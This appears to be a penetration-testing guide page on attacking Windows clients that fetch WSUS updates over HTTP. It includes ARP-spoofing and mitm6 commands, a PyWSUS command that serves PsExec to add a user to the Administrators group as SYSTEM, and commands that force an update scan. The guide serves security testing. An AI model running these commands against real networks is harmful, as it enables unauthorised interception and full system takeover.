Skip to content

WSUS

If a client polls its WSUS server over plain HTTP (no TLS) we can take an on-path position between the client and the legitimate WSUS server, serve a malicious update, and have it executed as NT AUTHORITY\SYSTEM on the next update check.

The trust boundary that WSUS relies on is the binary signature: Windows will refuse to install an unsigned executable, but it happily runs any Microsoft-signed binary that the WSUS metadata points at, including ones that take a cmd.exe-style command line (PsExec.exe, BgInfo.exe, etc.). Combined with HTTP transport, this lets a MitM ship "Microsoft-signed Sysinternals binary + arbitrary command line" as an "update".

Identifying a vulnerable client

Check the policy-pushed WSUS URL on a target host:

cmd
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v UseWUServer

The host is in scope when:

  • WUServer starts with http:// (not https://).
  • UseWUServer = 1, otherwise the client falls back to Microsoft Update.

If only https:// is exposed, the attack only works with a trusted certificate (e.g. an attacker-controlled internal CA, or a misconfigured client that doesn't validate the cert).

Getting on-path

Pick whichever fits the engagement:

  • ARP spoofing (same broadcast domain as the target):

    bash
    sudo bettercap -iface eth0 -eval "set arp.spoof.targets <target-ip>; arp.spoof on; set net.sniff.local true; net.sniff on"
  • IPv6 DNS takeover with mitm6 (Windows prefers IPv6 DNS by default), then redirect the WSUS hostname:

    bash
    sudo mitm6 -i eth0 -d <ad-domain>
  • DHCP spoofing when there is no DHCP snooping.

Injecting the fake update with PyWSUS

PyWSUS is a rogue WSUS server that replies to update metadata requests with our chosen payload.

bash
git clone https://github.com/GoSecure/pywsus.git
cd pywsus && python3 -m pip install -r requirements.txt

sudo python3 pywsus.py \
  -H 0.0.0.0 -p 8530 \
  -e PsExec64.exe \
  -c '/accepteula /s cmd.exe /c "net localgroup Administrators <DOMAIN>\<user> /add"'
  • -e is the Microsoft-signed binary advertised as the update (drop PsExec64.exe next to pywsus.py).
  • -c is the command line passed to that binary. It will execute as SYSTEM.
  • -p 8530 is the default WSUS HTTP port; use 8531 for HTTPS scenarios.

For non-English systems use Administratoren / the German group name, or the well-known SID:

text
/accepteula /s cmd.exe /c "net localgroup S-1-5-32-544 <DOMAIN>\<user> /add"

Forcing an update check

You usually don't need to wait for the scheduled poll. From any shell on the target:

cmd
:: Windows 10/11
usoclient StartScan

:: older Windows
wuauclt /detectnow /resetauthorization

PyWSUS logs the request, returns the fake update, and the client launches the payload as SYSTEM during the install phase.

Cleanup

  • Stop the rogue PyWSUS, kill any ARP/IPv6 spoofing.
  • Remove any local accounts / group memberships added by the payload.

See also

  • Lateral movement: WSUS: abusing legitimate WSUS admin access (SharpWSUS) to push SYSTEM-level updates to downstream clients without needing a MitM position.